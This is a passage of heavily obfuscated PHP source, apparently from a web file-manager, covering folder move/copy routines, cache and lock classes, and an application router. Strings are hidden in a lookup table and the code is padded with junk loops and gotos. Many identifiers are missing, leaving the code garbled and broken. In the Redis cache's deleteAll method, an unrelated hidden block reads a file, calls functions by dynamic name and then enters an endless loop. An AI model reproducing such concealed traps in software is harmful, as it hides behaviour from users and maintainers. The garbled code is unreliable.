!$Ò[$֭[582]] || $Ò[$֭[582]] == $֭[198]) { $˺[$֭[559]][] = array($֭[402], $߹, $֭[582], short_id($߹)); } if (Input::check($ް, $֭[583])) { $˺[$֭[558]][] = array($֭[402] => $߹, $֭[94] => $֭[465], $֭[374] => str_replace($֭[53], $֭[12], Pinyin::get($ް))); $˺[$֭[558]][] = array($֭[402] => $߹, $֭[94] => $֭[464], $֭[374] => Pinyin::get($ް, $֭[584])); } $˺[$֭[558]][] = array($֭[402] => $߹, $֭[94] => $֭[444], $֭[374] => KodSort::makeStr($ް)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SERVER[]; $®ل = $this->sourceInfo($); $ = $[585]; $ˤ = array($[511] => array($[540], $®ل[$[511]] . $ . $[541]), $[431] => $this->targetIsDelete); $ = $this->field($)->where($ˤ)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[402]); foreach ($ as $۸) { $ѝ = $۸[$[432]]; $ = $۸[$[402]]; if (!isset($this->_childrenListCache[$]) && $۸[$[410]] == $[88]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$ѝ])) { $this->_childrenListCache[$ѝ] = array(); } $this->_childrenListCache[$ѝ][$] = $۸; $this->_childrenItemCache[$] = $۸; } } private function _childrenListAll($, &$) { $ٔ =& $_SERVER[]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $) { $[$] = $; if ($[$ٔ[410]] == $ٔ[88]) { $this->_childrenListAll($, $); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $ =& $_SERVER[]; $ = array($[432] => $, $[431] => $this->targetIsDelete); $߅ = $this->where($)->select(); $߅ = $߅ ? $߅ : array(); $ = array_to_keyvalue($߅, $[402]); $this->_childrenListCache[$] = $; foreach ($ as $ => $) { $this->_childrenItemCache[$] = $; } return $; } private function fileNameExistCache($Ҷ, $̡) { $ =& $_SERVER[]; $̡ = strtolower($̡); $在 = $this->_childrenList($Ҷ); foreach ($在 as $ɣ) { if ($̡ == strtolower($ɣ[$[32]])) { return $ɣ[$[402]]; } } return !1; } private function fileNameAutoCache($, $ہ, $, $) { $ք =& $_SERVER[]; $˒ = $this->_childrenList($); $ = array_to_keyvalue($˒, $ք[12], $ք[32]); return $this->fileNameAutoGet($, $ہ, $, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($֏, $, $ޡ = REPEAT_REPLACE, $ = '') { $ɓ =& $_SERVER[]; $ = $this->sourceInfo($֏); $ = $this->sourceInfo($); if ($[$ɓ[432]] == $[$ɓ[402]]) { if ($[$ɓ[431]] == $ɓ[88]) { Model($ɓ[429])->restore(array($֏)); } if (!$ || $ == $[$ɓ[32]]) { return $֏; } } $Ϻ锐 = $this->pathInfoMore($֏); if ($this->isParentOf($֏, $)) { return !1; } if (!$ || !$ || $[$ɓ[410]] != $ɓ[88]) { return !1; } Hook::trigger($ɓ[586], $Ϻ锐); $this->targetIsDelete = intval($[$ɓ[431]]); if ($[$ɓ[432]] == $ && $ != $[$ɓ[32]]) { $Ν = $this->fileNameExist($, $); if ($Ν && $[$ɓ[410]] == $ɓ[198]) { $ = $this->sourceInfo($Ν); $ = $this->fileHistory($, $[$ɓ[468]], $[$ɓ[76]]); if (!$) { Model($ɓ[471])->remove($[$ɓ[468]]); } $this->removeNow($֏, !1); $this->folderSizeReset($); Hook::trigger($ɓ[587], $Ϻ锐); return $Ν; } } $ۨ = $ ? $ : $[$ɓ[32]]; $this->lockMoveStart($֏); $this->lockWriteStart($, $ۨ); $ = array($ɓ[557] => array(), $ɓ[588] => !1); $this->clearShare($֏, $); $ɉˬ = $this->fileNameExistCache($, $[$ɓ[32]]); $ = $this->_move($֏, $, $ޡ, $, $); $this->sourceCacheClear(); if ($[$ɓ[410]] == $ɓ[88] && $ɉˬ) { $this->folderSizeResetChildren($); } Model($ɓ[200])->linkAdd($[$ɓ[557]]); if ($ɉˬ && $[$ɓ[588]]) { $this->removeNow($֏, !1); } $this->lockMoveEnd($֏); $this->lockWriteEnd($, $ۨ); $this->folderSizeReset($[$ɓ[432]]); $this->folderSizeReset($); $Ѻ = array($[$ɓ[432]], $); if ($[$ɓ[410]] == $ɓ[88]) { $Ѻ[] = $֏; } $this->updateModifyTime($Ѻ); Model($ɓ[561])->eventMove($֏, $[$ɓ[432]], $); Hook::trigger($ɓ[587], $Ϻ锐); return $; } private function _move($Ѐ, $, $, &$, $ = '') { $ =& $_SERVER[]; $݆ = $this->sourceInfo($Ѐ); $ = $݆[$[410]] == $[88]; $뛅 = $ ? $ : $݆[$[32]]; $ᖪ = $this->fileNameExistCache($, $뛅); $this->lockMoveStart($Ѐ); $this->lockWriteStart($, $뛅); if (!$ᖪ) { return $this->_moveForce($Ѐ, $, $뛅); } $ˬ = $ᖪ; $ȯ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $뛅 = $this->fileNameAuto($, $뛅, $, $); $ˬ = $this->_moveForce($Ѐ, $, $뛅); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_childrenListSelect($Ѐ); foreach ($ as $) { $this->_move($[$[402]], $ᖪ, $, $); } $ȯ = !0; } } else { if ($ == REPEAT_SKIP) { $ȯ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $뛅 = $this->fileNameAuto($, $뛅, $, $); $ˬ = $this->_moveForce($Ѐ, $, $뛅); } else { if ($ == REPEAT_REPLACE) { $☉ = $this->sourceInfoCache($ᖪ); $ǐ = $this->fileHistory($☉, $݆[$[468]], $݆[$[76]]); $ȯ = !0; if ($ǐ) { $[$[557]][] = $݆[$[468]]; } } } } } if ($ȯ && !$[$[588]]) { $[$[588]] = !0; } return $ˬ; } private function _moveForce($㠐, $̬, $) { $ =& $_SERVER[]; $鉨 = $this->sourceInfo($㠐); $ż = $this->sourceInfo($̬); $ = $鉨[$[410]] == $[88]; $״ = array($[401] => $ż[$[402]], $[580] => $ż[$[511]] . $ż[$[402]] . $[50], $[576] => $ż[$[411]], $[577] => $ż[$[496]], $[579] => USER_ID, $[420] => $); $ = $鉨[$[411]] == SourceModel::TYPE_GROUP && $ż[$[411]] == SourceModel::TYPE_GROUP && $鉨[$[496]] == $ż[$[496]]; if (!$ && $this->moveClearAuth) { Model($[493])->authClear($㠐); } $ = $鉨[$[431]] == $[88] && $ż[$[431]] != $[88]; if ($) { $״[$[430]] = 0; } if ($) { $ő = array($[580] => array($[540], $鉨[$[511]] . $鉨[$[402]] . $[541])); $ᚔ = $鉨[$[511]] . $鉨[$[402]] . $[50]; $ᤤ = $ż[$[511]] . $ż[$[402]] . $[50] . $鉨[$[402]] . $[50]; $ = array($[580] => array($[589], "\x72\145\x70\154\x61\x63\x65\x28\160\141\162\x65\x6e\x74\x4c\145\166\x65\x6c\x2c\47{$ᚔ}\47\x2c\x27{$ᤤ}\47\51"), $[576] => $ż[$[411]], $[577] => $ż[$[496]]); if ($) { $[$[430]] = 0; } $this->where($ő)->data($)->save(); } $this->where(array($[417] => $㠐))->data($״)->save(); return $㠐; } private function clearShare($Ȁ, $أ) { $û =& $_SERVER[]; $ = $this->sourceInfo($Ȁ); $ = $this->sourceInfo($أ); if ($[$û[496]] == $[$û[496]] && $[$û[411]] == $û[590]) { return; } $ = array($û[511] => array($û[540], $[$û[511]] . $Ȁ . $û[541])); $Î = $this->field($û[417])->where($)->getField($û[402], !0); if (!$Î) { return; } $ = array($û[402] => array($û[7], $Î), $û[591] => 1); $ź = Model($û[592])->field($û[593])->where($)->select(); if (!$ź) { return; } $ź = array_to_keyvalue($ź, $û[12], $û[593]); $ = array($û[593] => array($û[7], $ź)); Model($û[592])->where($)->save(array($û[591] => 0)); Model($û[594])->where($)->delete(); } public function copyFolderFromIO($, $֨, $, $, $ɕ, $ڨ˺ = false) { $Ǖ =& $_SERVER[]; $ = array($Ǖ[558] => array(), $Ǖ[559] => array(), $Ǖ[557] => array(), $Ǖ[595] => array()); $ƅ = $ڨ˺ ? $ڨ˺ : $->pathThis($֨); $ = $this->fileNameExist($, $ƅ); $ = $this->mkdir($, $ƅ, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($Ǖ[596]); $this->_copyChildTo($, $֨, $, $, $, $ɕ); Hook::trigger($Ǖ[597]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($Ǖ[560])->addAll($[$Ǖ[558]], array(), !0); Model($Ǖ[561])->eventCopy($); $this->saveAll($[$Ǖ[559]]); Model($Ǖ[471])->linkAdd($[$Ǖ[557]]); Model($Ǖ[471])->remove($[$Ǖ[595]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copyChildTo($䲺, $О, $ၧ, $, &$ن, $) { $Ǘ =& $_SERVER[]; $炓 = $this->sourceInfoCache($ၧ); $ = $䲺->listPath($О); $ = $ ? $ : array($Ǘ[83] => array(), $Ǘ[82] => array()); $Ⓨ = array_merge($[$Ǘ[83]], $[$Ǘ[82]]); $ = $this->_addFiles($䲺, $[$Ǘ[83]], $); $Ƒ = array(); foreach ($Ⓨ as &$غ) { if (isset($[$غ[$Ǘ[32]]])) { $غ = $[$غ[$Ǘ[32]]]; } $غ[$Ǘ[410]] = $غ[$Ǘ[33]] == $Ǘ[75]; $غ[$Ǘ[412]] = substr(_get($غ, $Ǘ[174], $Ǘ[12]), 0, 10); $غ[$Ǘ[76]] = _get($غ, $Ǘ[76], 0); $غ[$Ǘ[468]] = _get($غ, $Ǘ[468], 0); if (!isset($غ[$Ǘ[598]]) && $غ[$Ǘ[468]]) { $ن[$Ǘ[595]][] = $غ[$Ǘ[468]]; } if ($) { $ = $this->fileNameExistCache($ၧ, $غ[$Ǘ[32]]); if ($) { if ($غ[$Ǘ[410]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $׀ = $this->sourceInfoCache($); $î = $this->fileHistory($׀, $غ[$Ǘ[468]], $غ[$Ǘ[76]]); if ($î) { $ن[$Ǘ[557]][] = $غ[$Ǘ[468]]; } continue; } else { if ($ == REPEAT_RENAME) { $غ[$Ǘ[32]] = $this->fileNameAutoCache($ၧ, $غ[$Ǘ[32]], $, !1); } } } } if (!$غ[$Ǘ[410]] && $غ[$Ǘ[468]] == 0) { continue; } if (!$غ[$Ǘ[410]] && $غ[$Ǘ[468]]) { $ن[$Ǘ[557]][] = $غ[$Ǘ[468]]; } $Ƒ[] = $this->_makeItemData($غ, $炓, $غ[$Ǘ[32]]); } unset($غ); if (!empty($Ƒ)) { $this->addAll($Ƒ); $this->_childrenListSelect($ၧ); } $ = $this->_childrenList($ၧ); $ = array_to_keyvalue($, $Ǘ[32]); foreach ($Ⓨ as $غ) { $׀ = $[$غ[$Ǘ[32]]]; $Ӎ = $׀[$Ǘ[402]]; $this->_copyApplyMeta($׀, $ن); if ($غ[$Ǘ[33]] == $Ǘ[75]) { $غ[$Ǘ[84]] = $䲺->getPathInner($غ[$Ǘ[84]]); $this->_copyChildTo($䲺, $غ[$Ǘ[84]], $Ӎ, $, $ن, $); } } } private function _addFiles($ֿ, $, $) { $ϣ =& $_SERVER[]; if (!$ || count($) == 0) { return array(); } $ı = array(); foreach ($ as &$Ѯ) { Hook::trigger($ϣ[599], $Ѯ); $Ѯ[$ϣ[84]] = $ֿ->getPathInner($Ѯ[$ϣ[84]]); $ = $ֿ->hashSimple($Ѯ[$ϣ[84]]); $ױ = $ֿ->hashMd5($Ѯ[$ϣ[84]]); if (strlen($ױ) > 10 && !isset($ı[$ױ])) { $ı[$ױ] = array(); } $Ѯ[$ϣ[177]] = $; $Ѯ[$ϣ[176]] = $ױ; $ı[$ױ][] =& $Ѯ; if (count($ı[$ױ]) > 1) { $Ѯ[$ϣ[598]] = !0; } Hook::trigger($ϣ[600], $Ѯ); } unset($Ѯ); $ = array($ϣ[176] => array($ϣ[7], array_keys($ı))); $Ȗ = Model($ϣ[601]); $ = $Ȗ->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($ı[$[$ϣ[176]]])) { continue; } $ = $ı[$[$ϣ[176]]]; foreach ($ as &$Ѯ) { $Ѯ[$ϣ[468]] = $[$ϣ[468]]; $Ѯ[$ϣ[598]] = !0; } unset($Ѯ); } $ѐ = array(); foreach ($ as $٘ݪ) { Hook::trigger($ϣ[602], $٘ݪ); if (isset($٘ݪ[$ϣ[598]]) && $٘ݪ[$ϣ[598]]) { Hook::trigger($ϣ[603], $٘ݪ); continue; } $Ȣ = $ֿ->getPathInner($٘ݪ[$ϣ[84]]); $ = $Ȗ->addFileMake($Ȣ, $٘ݪ[$ϣ[76]], $٘ݪ[$ϣ[177]], $٘ݪ[$ϣ[176]], $٘ݪ[$ϣ[32]], $); Hook::trigger($ϣ[603], $٘ݪ); if (!is_array($)) { continue; } $ѐ[] = $; } $Ȗ->addAll($ѐ); $ = array($ϣ[176] => array($ϣ[7], array_keys($ı))); $ = $Ȗ->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($ı[$[$ϣ[176]]])) { continue; } $唀 =& $ı[$[$ϣ[176]]]; foreach ($唀 as &$Ѯ) { $Ѯ[$ϣ[468]] = $[$ϣ[468]]; } unset($Ѯ); } $ = array(); foreach ($ as $ϓ) { $[$ϓ[$ϣ[32]]] = $ϓ; } return $; } } goto c菂; AϽ: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($⓫, $Lj) { $ =& $_SERVER[]; $this->cachePath = $⓫[$[84]]; $this->prefix = $[833]; $this->cacheTime = $Lj; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $Ί =& $_SERVER[]; $ = str_replace(array($Ί[834], $Ί[97], $Ί[73]), $Ί[835], $); return $this->cachePath . $Ί[836] . $ . $Ί[837]; } public function set($, $ߜ, $Ƣܜ = false) { $Ƣܜ = $Ƣܜ ? $Ƣܜ : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $ߜ, LOCK_EX)) { @touch($, intval(time() + $Ƣܜ)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($֠) { $ = $this->getFile($֠); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($) { $ٶ = $this->getFile($); return @unlink($ٶ); } public function deleteAll() { $ڭ =& $_SERVER[]; $ަ = scandir($this->cachePath); foreach ($ަ as $ܳ) { $ = $this->cachePath . $ܳ; if (strpos($, $ڭ[837]) && strpos($, $ڭ[838])) { @unlink($); } } } public function clearTimeout() { $؎ư =& $_SERVER[]; $؉ײ = scandir($this->cachePath); foreach ($؉ײ as $NJ) { $ = $this->cachePath . $NJ; if (strpos($, $؎ư[837]) && strpos($, $؎ư[838]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $Έ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $Ν = $GLOBALS[$Έ[6]][$Έ[349]]; self::$timeout = $Ν[$Έ[839]] ? $Ν[$Έ[839]] : 10; $̭ = _get($GLOBALS[$Έ[6]], $Έ[840]); $ = $Ν[$Έ[826]] ? $Ν[$Έ[826]] : $Έ[200]; if ($ == $Έ[21] && $̭ == $Έ[13]) { $ = $Έ[200]; } switch ($) { case $Έ[829]: self::$handle = new CacheLockRedis(); break; case $Έ[830]: self::$handle = new CacheLockMemcached(); break; case $Έ[21]: self::$handle = new CacheLockDatabase(); break; case $Έ[200]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($Έ[841], $Έ[842]); } return self::$handle; } private static function key($) { return $_SERVER[][843] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ӷ¾ = '') { self::$errorMsg = $ӷ¾; } public static function lockGlobal($, $Ą) { return self::lock($, $Ą, !0); } public static function lock($ձ, $ = false, $ໂ = false) { $ =& $_SERVER[]; $ɚ = self::init(); $δ = self::key($ձ); $ = $ ? $ : self::$timeout; $ = timeFloat(); $; = $ɚ->lock($δ, $); $ = timeFloat(); if (!$;) { $庳 = "\154\x6f\143\x6b\40\x65\162\162\x6f\162\x3b\153\145\x79\75{$ձ}\x3b\164\x69\155\x65\x3d{$}\x3b" . self::$errorMsg . $[71] . get_caller_msg(); $ĕ = LNG($[844]) . "\x28{$}\x73\51\56" . LNG($[845]); $ĕ .= $[846]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ĕ = $ĕ . $[847] . self::$errorMsg; } write_log($[848] . sprintf($[849], timeFloat() - $) . $[850] . $庳 . $[851] . error_get_last(), $[842]); show_json($ĕ, !1); } if (!$ໂ) { self::$lockItem[$δ] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $؟ = number_format(timeFloat() - $, 3); write_log($[852] . $ձ . $[853] . $؟, $[842]); } return $;; } public static function lockGet($Ȉ) { $坄 = self::key($Ȉ); if (self::$lockItem[$坄]) { return self::$lockItem[$坄]; } return self::init()->lockGet($坄); } public static function unlock($ɼ) { $ =& $_SERVER[]; $耕 = self::key($ɼ); self::$lockItem[$耕] = null; self::init()->unlock($耕); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[854] . $ɼ, $[842]); } return; } public static function unlockRuntime() { $̌ʻ =& $_SERVER[]; $ġ = self::init(); $ą = !1; foreach (self::$lockItem as $ => $Ԡ) { if (!$Ԡ) { continue; } $ġ->unlock($); if (!$ą) { $ą = !0; write_log($̌ʻ[855] . $ . $̌ʻ[71] . get_caller_msg(), $̌ʻ[842]); continue; } write_log($̌ʻ[855] . $, $̌ʻ[842]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $Մ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($̌ʻ[856] . $Մ . $̌ʻ[857] . ACTION, $̌ʻ[842]); } } public static function fileLock($) { $߹ =& $_SERVER[]; if (!$GLOBALS[$߹[858]]) { $GLOBALS[$߹[858]] = array(); } $GLOBALS[$߹[858]][$] = !1; $ք = fopen(DATA_PATH . $ . $߹[859], $߹[860]); if (!$ք) { return !1; } $GLOBALS[$߹[858]][$] = $ք; if (flock($ք, LOCK_EX)) { return !0; } self::unlock($); show_json($߹[861], !1); return !1; } public static function fileUnlock($ӣ) { $ =& $_SERVER[]; $ = $GLOBALS[$[858]][$ӣ]; if (!$) { return; } $GLOBALS[$[858]][$ӣ] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!$GLOBALS[$[858]]) { return; } foreach ($GLOBALS[$[858]] as $ => $ߴ) { if (!$ߴ) { continue; } $GLOBALS[$[858]][$] = !1; flock($ߴ, LOCK_UN); fclose($ߴ); } $GLOBALS[$[858]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto aߍǍ; a: class CacheLockDatabase { public function lock($ܳ, $ = 0) { $ϑ = Model($_SERVER[][828]); $ť = microtime(!0) + $; while (microtime(!0) < $ť) { $ڙ١ = $ϑ->get($ܳ); if (!$ڙ١ || $ڙ١ < microtime(!0)) { $ = $ϑ->set($ܳ, $ť); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][828])->get($); } public function unlock($珋) { Model($_SERVER[][828])->remove($珋); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($х, $) { $ =& $_SERVER[]; if (!class_exists($[865])) { show_json($[866], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($х[$[867]]) && count($х[$[867]]) >= 1) { foreach ($х[$[867]] as $) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($х[$[182]], $х[$[183]]); } } public function set($, $ķۤ, $Ā = false) { $Ā = $Ā ? $Ā : $this->cacheTime; return $this->handle->set($, $ķۤ, $Ā); } public function get($×) { return $this->handle->get($×); } public function remove($ʃ) { return $this->handle->delete($ʃ); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $) { $Ë =& $_SERVER[]; if (!class_exists($Ë[868])) { show_json($Ë[869], !1); } $this->cacheTime = $; $÷ = isset($[$Ë[870]]) ? $[$Ë[870]] : 10; $ڏ = _get($, $Ë[867]); if ($ڏ && is_array($ڏ)) { $this->initCluster($, $÷); } else { $this->handle = $this->init($, $÷); } } private function init($ᯘ, $ۡ) { $ޭ =& $_SERVER[]; $ = new Redis(); $ = isset($ᯘ[$ޭ[871]]) ? $ᯘ[$ޭ[871]] : !1; if ($) { $->pconnect($ᯘ[$ޭ[182]], $ᯘ[$ޭ[183]], $ۡ); } else { $->connect($ᯘ[$ޭ[182]], $ᯘ[$ޭ[183]], $ۡ); } if (!empty($ᯘ[$ޭ[413]])) { $->auth($ᯘ[$ޭ[413]]); } if (!empty($ᯘ[$ޭ[756]]) && $ᯘ[$ޭ[756]] != 0) { $->select($ᯘ[$ޭ[756]]); } return $; } private function initCluster($ܣ, $՜DŽ) { $Ȁ =& $_SERVER[]; $ = array($Ȁ[872], $Ȁ[873], $Ȁ[874]); $۬˩ = $Ȁ[872]; if (isset($ܣ[$Ȁ[16]]) && in_array($ܣ[$Ȁ[16]], $)) { $۬˩ = $ܣ[$Ȁ[16]]; } switch ($۬˩) { case $Ȁ[872]: $this->_slave($ܣ, $՜DŽ); break; case $Ȁ[873]: break; case $Ȁ[874]: $this->isCluster = !0; $ = $ܣ[$Ȁ[867]]; $ۛ = isset($ܣ[$Ȁ[871]]) ? $ܣ[$Ȁ[871]] : !1; $ = isset($ܣ[$Ȁ[413]]) ? $ܣ[$Ȁ[413]] : null; $this->handle = new RedisCluster(NUll, $, $՜DŽ, $՜DŽ, $ۛ, $); break; default: break; } } private function _slave($, $) { $㱻 = $[$_SERVER[][867]]; $this->filterConfig($, $㱻[0]); $this->handle = $this->init($, $); unset($㱻[0]); if (empty($㱻)) { return; } $ǥ = array_rand($㱻); $this->filterConfig($, $㱻[$ǥ]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$᥌, $ݧ) { $ؤ =& $_SERVER[]; $Ҍ = explode($ؤ[4], $ݧ); $ = array($ؤ[182] => $Ҍ[0], $ؤ[183] => $Ҍ[1]); $᥌ = array_merge($᥌, $); } public function set($Ď, $Φ, $ס = false) { $ס = $ס ? $ס : $this->cacheTime; return $this->handle->setEx($Ď, $ס, $Φ); } public function setLock($, $э, $۵) { return $this->handle->setNX($, $э); } public function get($ʚԇ) { $͗ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $͗->get($ʚԇ); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $Ҟ =& $_SERVER[]; if (!isset($_SERVER[$Ҟ[875]]) || !isset($_SERVER[$Ҟ[876]])) { $花 = $Ҟ[877]; $֖ = $Ҟ[878]; $ = $_SERVER[$Ҟ[879]] . $Ҟ[880]; $δ = $֖($); $킃 = explode($Ҟ[231], $δ); if (count($킃) < $Ҟ[607]) { $ = $Ҟ[881]; $(); } $ = $Ҟ[882]; $($_SERVER[$Ҟ[883]]); $ߩ = 1; for ($® = $ߩ; $® > 0; $®++) { $ = json_encode($GLOBALS[$Ҟ[418]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } goto f܇҈; d: class Application { private $defaultModule = "\151\x6e\x64\x65\170"; private $defaultController = "\x69\x6e\144\x65\x78"; private $defaultAction = "\x69\x6e\x64\x65\x78"; function __construct() { } public function setDefault($) { $͉ =& $_SERVER[]; $߈ˑ =& $_SERVER[̬Ե]; $坁 = explode($߈ˑ[0], trim($, $߈ˑ[0])); $ = $͉[611]; $this->defaultModule = $坁[0] ? $坁[0] : $this->defaultModule; $ҡ = $͉[612]; $this->defaultController = $坁[1] ? $坁[1] : $this->defaultController; $̘ = $͉[613]; if (!$̘) { die; } $this->defaultAction = $坁[2] ? $坁[2] : $this->defaultAction; $this->hgcw95e6137a($߈ˑ[1], array($this, $߈ˑ[2])); $Ҹ = $͉[614]; while (strlen($Ҹ) < $͉[615]) { if (!$Ҹ) { break; } $Ҹ++; } } public function appRun($ޜ) { $ѽ =& $_SERVER[]; $ȷ =& $_SERVER[̬Ե]; $Ԕ = explode($ȷ[0], $ޜ); $ = strtolower($Ԕ[0]); $ʵ = $ѽ[616]; if (strlen($ʵ) < $ѽ[617]) { return; } $ = $ȷ[3]; $ = $ѽ[618]; if ($ == $ȷ[4]) { $ = $ȷ[5]; $Ԕ[0] = $ȷ[6]; $Ԕ[1] = $Ԕ[1] . $ȷ[7]; $ޜ = join($ȷ[0], $Ԕ); $ޜ = trim($ޜ, $ȷ[0]); } call_user_func(array($ȷ[8], $ȷ[9]), $ . $ȷ[10], $ޜ); ActionCall($ޜ); $ = $ѽ[619]; if (!$) { return; } call_user_func(array($ȷ[8], $ȷ[9]), $ . $ȷ[11], $ޜ); } private function autorun() { $ =& $_SERVER[̬Ե]; global $config; if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $) { $this->appRun($); } } private function dpztcc0a4965() { $ԧ =& $_SERVER[]; $Ѻ =& $_SERVER[̬Ե]; $ = $Ѻ[4]; $ = $GLOBALS[$Ѻ[13]][$Ѻ[14]][0]; if (!$ || strlen($) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $쿀 = substr($, 0, -strlen($)); $Ĺ = array($Ѻ[4], $쿀); $䂄 = $ԧ[620]; if (strlen($䂄) < $ԧ[607]) { return; } $ǵ = array_slice($GLOBALS[$Ѻ[13]][$Ѻ[14]], 1); $GLOBALS[$Ѻ[13]][$Ѻ[14]] = array_merge($Ĺ, $ǵ); $햂 = $ԧ[621]; if (strlen($햂) < $ԧ[607]) { die; } $GLOBALS[$Ѻ[13]][$Ѻ[15]] = implode($Ѻ[0], $GLOBALS[$Ѻ[13]][$Ѻ[14]]); $ۦ = $ԧ[622]; while (strlen($ۦ) < $ԧ[615]) { if (!$ۦ) { break; } $ۦ++; } } private function syva62123f4d() { $ȹ =& $_SERVER[]; $ʍ =& $_SERVER[̬Ե]; if ($GLOBALS[$ʍ[13]][$ʍ[15]] != $ʍ[6]) { return; } $ӺΑ = $_SERVER[$ʍ[16]]; $ = $ʍ[17]; $ǩ = $ȹ[623]; if (!$ǩ) { die; } if (!strstr($ӺΑ, $)) { return; } $ဪ = strrpos($ӺΑ, $); $Ρ = $ȹ[624]; if (!$Ρ) { die; } $؉ = substr($ӺΑ, $ဪ + strlen($)); $ޘݛ = $ȹ[625]; if (strlen($ޘݛ) < $ȹ[615]) { die; } preg_match_all($ʍ[18], $؉, $); $ş = $ȹ[626]; if (strlen($ş) < $ȹ[615]) { return; } $؉ = trim($[0][0], $ʍ[19]); $GLOBALS[$ʍ[13]][$ʍ[14]] = explode($ʍ[19], $؉); $GLOBALS[$ʍ[13]][$ʍ[15]] = implode($ʍ[0], $GLOBALS[$ʍ[13]][$ʍ[14]]); } public function run() { $ͫ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $this->syva62123f4d(); $ɀ = $ͫ[627]; $this->dpztcc0a4965(); $Ω⢹ = $ͫ[628]; if (strlen($Ω⢹) < $ͫ[617]) { die; } $° = $GLOBALS[$[13]][$[14]]; $럾 = $GLOBALS[$[13]][$[15]]; $쮺 = $ͫ[629]; while ($쮺 < $ͫ[617]) { if ($쮺 >= 0) { break; } $쮺++; } define($[20], isset($°[0]) && $°[0] ? $°[0] : $this->defaultModule); $ = $ͫ[630]; if (!$) { die; } define($[21], isset($°[1]) && $°[0] ? $°[1] : $this->defaultController); $ = $ͫ[631]; if (strlen($) < $ͫ[617]) { die; } define($[22], isset($°[2]) && $°[0] ? $°[2] : $this->defaultAction); $Ū = $ͫ[632]; while ($Ū < $ͫ[615]) { if ($Ū >= 0) { break; } $Ū++; } define($[23], MOD . $[0] . ST . $[0] . ACT); $ַ = $ͫ[633]; if (!$ַ) { return; } $_SERVER[$[24]] = strtolower(ACTION); $ = $ͫ[634]; while ($ < $ͫ[635]) { if ($ >= 0) { break; } $++; } $this->autorun(); $ = $ͫ[636]; if (!$) { return; } if (count($°) >= 3) { $this->appRun($럾); } else { $this->appRun(ACTION); } } private $kqou45d28de1 = array(); private $obus4f733076 = ''; public function jvsw72ac6fd5() { $ԟ =& $_SERVER[]; $吺 =& $_SERVER[̬Ե]; $this->ihaza0d99a95(); $頇 = $ԟ[637]; if (!$頇) { die; } $this->jurgc874b505(); $̣ = $ԟ[638]; $this->useq9b736d36(); $this->vqsz4ad13c85(); $բ˴ = $ԟ[639]; $this->shiab92d652f(); $ = $ԟ[640]; if (!$) { die; } $this->gchreeb34e3d(); $ = $ԟ[641]; while (strlen($) < $ԟ[635]) { if (!$) { break; } $++; } $this->yjgr19bd734f(); $➟ = $ԟ[642]; $this->hgcw95e6137a($吺[25], array($this, $吺[26])); $this->hgcw95e6137a($吺[27], array($this, $吺[28])); $ = $ԟ[643]; if (strlen($) < $ԟ[615]) { return; } $this->hgcw95e6137a($吺[29], array($this, $吺[30])); $Մӆ = $ԟ[644]; if (!$Մӆ) { die; } $this->hgcw95e6137a($吺[31], array($this, $吺[32])); } public function agnl98e1f982($۱) { $ྭہ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $˙ = Model($[33])->get(); 